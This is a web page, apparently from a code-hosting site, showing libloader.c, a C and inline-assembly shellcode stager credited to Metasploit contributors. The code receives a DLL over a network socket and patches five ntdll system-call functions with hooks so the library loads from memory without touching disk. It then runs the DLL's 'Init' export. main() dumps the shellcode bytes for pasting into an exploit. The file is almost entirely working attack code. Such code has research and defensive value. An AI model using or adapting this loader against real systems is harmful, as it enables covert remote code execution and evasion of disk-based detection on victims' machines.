Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/dllinject/libloader.c
Views: 11766
12/*3* libloader -- In-Memory Remote Library Injection shellcode4* Jarkko Turkulainen <jt[at]klake.org>5*6* Platforms: Windows NT4/2000/XP/20037*8* Compile: cl /GS- /Os libloader.c /link /fixed /release9*10*11* How to use:12*13* See main() for example. To make this work in real-world exploit, you14* must manually hack the exploit code. For quick demonstration, run15* against the demo server "srv.exe".16*17* NOTE: the loaded library MUST export a function named "Init" !!!18* That is the actual code you must write to make this stuff useful :-)19* See example.c to get the idea.20*21*22* TODO:23*24* - Hide the DLL from PEB25*26*27* Credits:28*29* - skape for ideas, nologin, Metasploit30*31*32*/3334353637#include <winsock2.h>38#include <sys/types.h>39#include <sys/stat.h>4041#include "libloader.h"4243#pragma comment(lib, "ws2_32.lib")4445#pragma warning(disable: 4068)464748/*49* 2nd stage loader50*51* loader2_start is a bootstrapper for the actual shellcode. It loads all the52* libraries and resolves function VMAs. All information is stored in structure53* SHELLCODE_CTX which acts like import and data section for rest of the program.54*55*/5657void loader2_start() {58SHELLCODE_CTX ctx;59char winsock[10];6061__asm {62jmp callback ; Jump to callback address6364startup:65jmp continue ; Continue execution6667callback:68call startup ; Call startup6970continue:71pop ebx ; Absolute address of continue72sub ebx, 0x15 ; Adjust the address to point to73; shellcode_start()74; Note that this value is not75; correct if the code above is modified76; somehow (or if the compiler for some77; reason generates different code..)78mov ctx.offset, ebx ; Save offset79mov ctx.sd, edi ; Save the file descriptor80jmp resolve_vmas ; Skip general functions8182#include "generic.c"8384resolve_vmas:85; kernel32.dll routines8687call find_kernel32 ; Find kernel32 base address88mov ebx, eax ; Save the handle in ebx8990push HASH_LoadLibraryA ; Push function hash91push ebx ; Push base handle92call find_function ; Find function93add esp, 8 ; Fix stack94mov ctx.LoadLibrary, eax ; Save the VMA9596push HASH_GetProcAddress ; Here we go again..97push ebx98call find_function99add esp, 8100mov ctx.GetProcAddress, eax101push HASH_ExitProcess102push ebx103call find_function104add esp, 8105mov ctx.ExitProcess, eax106push HASH_VirtualAlloc107push ebx108call find_function109add esp, 8110mov ctx.VirtualAlloc, eax111push HASH_VirtualFree112push ebx113call find_function114add esp, 8115mov ctx.VirtualFree, eax116push HASH_VirtualQuery117push ebx118call find_function119add esp, 8120mov ctx.VirtualQuery, eax121push HASH_VirtualProtect122push ebx123call find_function124add esp, 8125mov ctx.VirtualProtect, eax126push HASH_FlushInstructionCache127push ebx128call find_function129add esp, 8130mov ctx.FlushInstructionCache, eax131push HASH_WriteProcessMemory132push ebx133call find_function134add esp, 8135mov ctx.WriteProcessMemory, eax136; ntdll.dll routines137xor eax, eax138mov al, 0x6c139push eax ; Push "l\x00\x00\x00"140push 0x6c64746e ; Push "ntdl"141push esp ; Push address of "ntdll\x00\x00\x00"142call ctx.LoadLibrary ; Get module handle143mov ebx, eax ; Save the handle in ebx144145push HASH_NtOpenSection ; Push function hash146push ebx ; Push base handle147call find_function ; Find function148add esp, 8 ; Fix stack149mov ctx.NtOpenSection, eax ; Save function VMA150151152push HASH_NtQueryAttributesFile ; Here we go again..153push ebx154call find_function155add esp, 8156mov ctx.NtQueryAttributesFile, eax157push HASH_NtOpenFile158push ebx159call find_function160add esp, 8161mov ctx.NtOpenFile, eax162push HASH_NtCreateSection163push ebx164call find_function165add esp, 8166mov ctx.NtCreateSection, eax167push HASH_NtMapViewOfSection168push ebx169call find_function170add esp, 8171mov ctx.NtMapViewOfSection, eax172}173174winsock[0] = 'w';175winsock[1] = 's';176winsock[2] = '2';177winsock[3] = '_';178winsock[4] = '3';179winsock[5] = '2';180winsock[6] = 0;181182ctx.LoadLibrary(winsock);183184__asm185{186mov edx, eax187188push HASH_recv189push edx190call find_function191add esp, 8192mov ctx.recv, eax193}194195/* Now call the shellcode main function */196197loader2_main(&ctx);198}199200201/*202* This is where the context pointer is saved.203* It is (almost) static offset from find_ctx so it is easily determined at run-time.204* To be exact, the offset is dependent of compiler version, but the compiler knows205* relative offset between these functions. Using that information with the absolute206* address of find_ctx, the context pointer can be found. See find_ctx().207*208*/209int __declspec(naked) ctx_data() {210__asm {211_emit 0xff212_emit 0xff213_emit 0xff214_emit 0xff215}216217}218219/*220* find_ctx is used for finding the shellcode context in memory. It is221* mandatory step because the hook functions have no glue about the context222* (they are called from ntdll.dll)223* lea eax, dword ptr find_ctx ; Calculate relative offset224lea edx, dword ptr ctx_data225sub eax, edx226*/227int __declspec(naked) find_ctx() {228__asm {229push ebp230mov ebp, esp231call getaddress ; Get our address232233getaddress:234pop ecx ; Save address in ebx235sub ecx, 8 ; Adjust to point to find_ctx236mov eax, offset find_ctx ; Calculate relative offset237sub eax, offset ctx_data238sub ecx, eax ; Adjust to point to ctx_data239mov eax, [ecx] ; Return contents240pop ebp241ret242}243}244245/*246* Find library name from given unicode string247*248*/249int find_string(SHELLCODE_CTX *ctx, UNICODE_STRING *str) {250int i, j;251252for (i = 0; i < str->Length; i++) {253for (j = 0; j < ctx->liblen; j++) {254if (str->Buffer[i + j] != ctx->libname[j])255break;256}257258/* Match */259if (j == ctx->liblen) {260return 0;261}262}263return 1;264}265266267/* NtOpenSection hook */268269NTSTATUS NTAPI m_NtOpenSection(270PHANDLE SectionHandle,271ACCESS_MASK DesiredAccess,272POBJECT_ATTRIBUTES ObjectAttributes) {273274SHELLCODE_CTX *ctx;275276/* Find our context */277ctx = (SHELLCODE_CTX *) find_ctx();278279if (!find_string(ctx, ObjectAttributes->ObjectName)) {280*SectionHandle = (PHANDLE)ctx->mapped_address;281return STATUS_SUCCESS;282283}284return ctx->p_NtOpenSection(SectionHandle, DesiredAccess,285ObjectAttributes);286287}288289290/* NtQueryAttributesFile hook */291292NTSTATUS NTAPI m_NtQueryAttributesFile(293POBJECT_ATTRIBUTES ObjectAttributes,294PFILE_BASIC_INFORMATION FileAttributes) {295296SHELLCODE_CTX *ctx;297298/* Find our context */299ctx = (SHELLCODE_CTX *) find_ctx();300301if (!find_string(ctx, ObjectAttributes->ObjectName)) {302303/*304* struct PFILE_BASIC_INFORMATION must be actually filled305* with something sane, otherwise it might break something.306* The values are defined in libloader.h307*308*/309FileAttributes->CreationTime.LowPart = LOW_TIME_1;310FileAttributes->CreationTime.HighPart = HIGH_TIME;311FileAttributes->LastAccessTime.LowPart = LOW_TIME_2;312FileAttributes->LastAccessTime.HighPart = HIGH_TIME;313FileAttributes->LastWriteTime.LowPart = LOW_TIME_1;314FileAttributes->LastWriteTime.HighPart = HIGH_TIME;315FileAttributes->ChangeTime.LowPart = LOW_TIME_1;316FileAttributes->ChangeTime.HighPart = HIGH_TIME;317FileAttributes->FileAttributes = FILE_ATTRIBUTE_NORMAL;318return STATUS_SUCCESS;319}320321return ctx->p_NtQueryAttributesFile(ObjectAttributes, FileAttributes);322323}324325/* NtOpenFile hook */326327void NTAPI m_NtOpenFile(328PHANDLE FileHandle,329ACCESS_MASK DesiredAccess,330POBJECT_ATTRIBUTES ObjectAttributes,331PIO_STATUS_BLOCK IoStatusBlock,332ULONG ShareAccess,333ULONG OpenOptions) {334335SHELLCODE_CTX *ctx;336337/* Find our context */338ctx = (SHELLCODE_CTX *) find_ctx();339340if (!find_string(ctx, ObjectAttributes->ObjectName)) {341*FileHandle = (PVOID)ctx->mapped_address;342return;343}344345ctx->p_NtOpenFile(346FileHandle,347DesiredAccess,348ObjectAttributes,349IoStatusBlock,350ShareAccess,351OpenOptions);352return;353354}355356/* NtCreateSection hook */357358NTSTATUS NTAPI m_NtCreateSection(359PHANDLE SectionHandle,360ULONG DesiredAccess,361POBJECT_ATTRIBUTES ObjectAttributes,362PLARGE_INTEGER MaximumSize,363ULONG PageAttributes,364ULONG SectionAttributes,365HANDLE FileHandle) {366367SHELLCODE_CTX *ctx;368369/* Find our context */370ctx = (SHELLCODE_CTX *)find_ctx();371372if (FileHandle == (HANDLE)ctx->mapped_address) {373*SectionHandle = (PVOID)ctx->mapped_address;374return STATUS_SUCCESS;375}376377return ctx->p_NtCreateSection(378SectionHandle,379DesiredAccess,380ObjectAttributes,381MaximumSize,382PageAttributes,383SectionAttributes,384FileHandle);385386}387388389/* NtMapViewOfSection hook */390391NTSTATUS NTAPI m_NtMapViewOfSection(392HANDLE SectionHandle,393HANDLE ProcessHandle,394PVOID *BaseAddress,395ULONG ZeroBits,396ULONG CommitSize,397PLARGE_INTEGER SectionOffset,398PULONG ViewSize,399SECTION_INHERIT InheritDisposition,400ULONG AllocationType,401ULONG Protect) {402403SHELLCODE_CTX *ctx;404405/* Find our context */406ctx = (SHELLCODE_CTX *)find_ctx();407408if (SectionHandle == (HANDLE)ctx->mapped_address) {409*BaseAddress = (PVOID)ctx->mapped_address;410411/* We assume that the image must be relocated */412return STATUS_IMAGE_NOT_AT_BASE;413414}415416return ctx->p_NtMapViewOfSection(417SectionHandle,418ProcessHandle,419BaseAddress,420ZeroBits,421CommitSize,422SectionOffset,423ViewSize,424InheritDisposition,425AllocationType,426Protect);427}428429430/* Patch given function */431432void patch_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub,433unsigned char *hook) {434DWORD protect;435ULONG bytes, written;436MEMORY_BASIC_INFORMATION mbi_thunk;437438439/*440* Most native NT functions begin with stub like this:441*442* 00000000 B82B000000 mov eax,0x2b ; syscall443* 00000005 8D542404 lea edx,[esp+0x4] ; arguments444* 00000009 CD2E int 0x2e ; interrupt445*446* In offset 0, the actual system call is saved in eax. Syscall447* is 32 bit number (!) so we can assume 5 bytes of preamble size448* for each function.. If there's need to hook other functions,449* a complete disassembler is needed for preamble size counting.450*451*/452bytes = 5;453454/* Create the stub */455ctx->WriteProcessMemory((HANDLE)-1, stub, (char *)address,456bytes, &written);457*(PBYTE)(stub + bytes) = 0xE9;458*(DWORD *)(stub + bytes + 1) = (DWORD)address - ((DWORD)stub + 5);459460461/* Patch original function */462463/* Fix protection */464ctx->VirtualQuery((char *)address, &mbi_thunk,465sizeof(MEMORY_BASIC_INFORMATION));466ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,467PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);468469/* Insert jump */470*(PBYTE)address = 0xE9;471*(DWORD *)(address + 1) = (DWORD)hook - ((DWORD)address + 5);472473474/* Restore protection */475ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,476mbi_thunk.Protect, &protect);477ctx->FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress,478mbi_thunk.RegionSize);479480}481482/* Install hooks, fix addresses */483484void install_hooks(SHELLCODE_CTX *ctx) {485486/* NtMapViewOfSection */487488/* Patch */489patch_function(ctx, ctx->NtMapViewOfSection,490ctx->s_NtMapViewOfSection,491(unsigned char *)((DWORD)m_NtMapViewOfSection -492(DWORD)loader2_start) + ctx->offset);493494/* Copy pointer */495ctx->p_NtMapViewOfSection =496(f_NtMapViewOfSection)ctx->s_NtMapViewOfSection;497498/* NtQueryAttributesFile */499patch_function(ctx, ctx->NtQueryAttributesFile,500ctx->s_NtQueryAttributesFile,501(unsigned char *)((DWORD)m_NtQueryAttributesFile -502(DWORD)loader2_start) + ctx->offset);503ctx->p_NtQueryAttributesFile =504(f_NtQueryAttributesFile)ctx->s_NtQueryAttributesFile;505506/* NtOpenFile */507patch_function(ctx, ctx->NtOpenFile, ctx->s_NtOpenFile,508(unsigned char *)((DWORD)m_NtOpenFile -509(DWORD)loader2_start) + ctx->offset);510ctx->p_NtOpenFile = (f_NtOpenFile)ctx->s_NtOpenFile;511512/* NtCreateSection */513patch_function(ctx, ctx->NtCreateSection, ctx->s_NtCreateSection,514(unsigned char *)((DWORD)m_NtCreateSection -515(DWORD)loader2_start) + ctx->offset);516ctx->p_NtCreateSection = (f_NtCreateSection)ctx->s_NtCreateSection;517518519/* NtOpenSection */520patch_function(ctx, ctx->NtOpenSection, ctx->s_NtOpenSection,521(unsigned char *)((DWORD)m_NtOpenSection -522(DWORD)loader2_start) + ctx->offset);523ctx->p_NtOpenSection = (f_NtOpenSection)ctx->s_NtOpenSection;524525}526527/* Restore given function */528529void restore_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub) {530DWORD protect;531ULONG bytes, written;532MEMORY_BASIC_INFORMATION mbi_thunk;533534bytes = 5;535536/* Patch original function */537538/* Fix protection */539ctx->VirtualQuery((char *)address, &mbi_thunk,540sizeof(MEMORY_BASIC_INFORMATION));541ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,542PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);543544/* Copy bytes back to function */545ctx->WriteProcessMemory((HANDLE)-1, (char *)address, stub,546bytes, &written);547548/* Restore protection */549ctx->VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,550mbi_thunk.Protect, &protect);551ctx->FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress,552mbi_thunk.RegionSize);553554}555556/* Remove hooks */557558void remove_hooks(SHELLCODE_CTX *ctx) {559560/* NtMapViewOfSection */561restore_function(ctx, ctx->NtMapViewOfSection,562ctx->s_NtMapViewOfSection);563564/* NtQueryAttributesFile */565restore_function(ctx, ctx->NtQueryAttributesFile,566ctx->s_NtQueryAttributesFile);567568/* NtOpenFile */569restore_function(ctx, ctx->NtOpenFile, ctx->s_NtOpenFile);570571/* NtCreateSection */572restore_function(ctx, ctx->NtCreateSection, ctx->s_NtCreateSection);573574575/* NtOpenSection */576restore_function(ctx, ctx->NtOpenSection, ctx->s_NtOpenSection);577578579}580581/* Map file in memory as section */582583void map_file(SHELLCODE_CTX *ctx) {584PIMAGE_NT_HEADERS nt;585PIMAGE_DOS_HEADER dos;586PIMAGE_SECTION_HEADER sect;587int i;588589dos = (PIMAGE_DOS_HEADER)ctx->file_address;590nt = (PIMAGE_NT_HEADERS)(ctx->file_address + dos->e_lfanew);591592/*593* Allocate space for the mapping594* First, try to map the file at ImageBase595*596*/597ctx->mapped_address = (DWORD)ctx->VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase,598nt->OptionalHeader.SizeOfImage,599MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);600601602/* No success, let the system decide.. */603if (ctx->mapped_address == 0) {604ctx->mapped_address = (DWORD)ctx->VirtualAlloc((PVOID)NULL,605nt->OptionalHeader.SizeOfImage,606MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);607608}609610/* Write headers */611ctx->WriteProcessMemory((HANDLE)-1, (LPVOID)ctx->mapped_address,612(LPVOID)ctx->file_address, nt->OptionalHeader.SizeOfHeaders, 0);613614/* Write sections */615sect = IMAGE_FIRST_SECTION(nt);616for (i = 0; i < nt->FileHeader.NumberOfSections; i++) {617ctx->WriteProcessMemory((HANDLE)-1,618(PCHAR)ctx->mapped_address + sect[i].VirtualAddress,619(PCHAR)ctx->file_address + sect[i].PointerToRawData,620sect[i].SizeOfRawData, 0);621}622623}624625626/*627* loader2_main - shellcode main function628*629* Yes - written in C. Why?630*631* - It is 2nd stage, there is not need for optimizing632* - Writing complex programs in pure assembly takes time633* - C shellcode is extremely cool634* - I wanted to find out how it's done635* - Oh, I almost forgot, it's cool636*637*/638639int loader2_main(SHELLCODE_CTX *ctx) {640SHELLCODE_CTX *saveCtx;641DWORD length, base, function, old;642char name[12];643int i, bytes, read, left;644645// Our context needs to be executable since we store original functions preambles646// inline (which are executed).647ctx->VirtualProtect(648ctx,649sizeof(SHELLCODE_CTX),650PAGE_EXECUTE_READWRITE,651&old);652653/* dll entry point */654name[0] = 'I';655name[1] = 'n';656name[2] = 'i';657name[3] = 't';658name[4] = '\0';659660/* Read the first 4 bytes for file length */661bytes = ctx->recv(ctx->sd, (char *)&length, 4, 0);662if (bytes <= 0) {663ctx->ExitProcess(1);664}665666/* Allocate space for data */667ctx->file_address = (DWORD)ctx->VirtualAlloc(NULL, length,668MEM_COMMIT, PAGE_READWRITE);669if (ctx->file_address == 0) {670ctx->ExitProcess(1);671}672673/* Read file */674for (bytes = 0, read = 0, left = length; left > 0;675left -= bytes, read += bytes) {676bytes = ctx->recv(ctx->sd, (char *)(ctx->file_address + read),677left, 0);678if (bytes < 0) {679break;680}681}682683/* Set the library name */684for (i = 0; *(char *)(ctx->file_address + i); i++)685ctx->libname[i] = *(char *)(ctx->file_address + i);686ctx->libname[i] = 0;687ctx->liblen = i;688689/* Update the file address offset */690ctx->file_address += i + 1;691692map_file(ctx);693694/* Write context pointer */695*(DWORD *)(((DWORD)ctx_data - (DWORD)loader2_start) + ctx->offset) =696*(DWORD *)&ctx;697698install_hooks(ctx);699700if ((base = ctx->LoadLibrary(ctx->libname)) == 0) {701702/* Something is terribly wrong.. */703ctx->ExitProcess(1);704}705706remove_hooks(ctx);707708/* Call entry point, if it exists */709if ((function = (DWORD)ctx->GetProcAddress((HMODULE)base,710(LPCTSTR)name)) != 0) {711712((int(*)()) (function))(ctx->sd);713}714715ctx->VirtualFree((LPVOID)((char *)ctx->file_address - ctx->liblen - 1),7160, MEM_RELEASE);717718ctx->ExitProcess(0);719720ctx = NULL;721722/* Just to keep compiler happy */723return(0);724725}726727728729/* Just a stub for counting the shellcode size */730731int __declspec(naked) loader2_end() {732__asm ret733734}735736737738/*739* Simple program for demonstration with "srv.exe"740*741* Example: libloader 10.0.0.1 1111 example.dll742*743*/744745int main(int argc, char **argv) {746int sd, c, i;747char *buf, databuf[1024];748struct hostent *hp;749struct sockaddr_in adr, local;750struct stat sstat;751FILE *fp;752WSADATA wsa_data;753unsigned char *start1, *end1, *start2, *end2;754unsigned long length1, length2;755756757start2 = (unsigned char *)loader2_start;758end2 = (unsigned char *)loader2_end;759length2 = end2 - start2;760761/*762* XXXXXXXXXXXX Insert your exploit code here... XXXXXXXXXXX763*764* If this were a real world exploit, the actual exploit magic765* should be done at this point. As a proof-of-concept, we just766* send the 1st loader to host which jumps to code and executes767* it (assuming that there's the example server "srv.exe").768*769*/770771772fprintf(stderr, "total size is %lu\n", length2);773printf("\"");774for (i = 0; i < length2; i++)775{776printf("\\x%02x", start2[i] & 0xff);777778if (i > 0 && i % 20 == 0)779printf("\" +\n\"");780}781printf("\"\n");782783exit(0);784}785786787788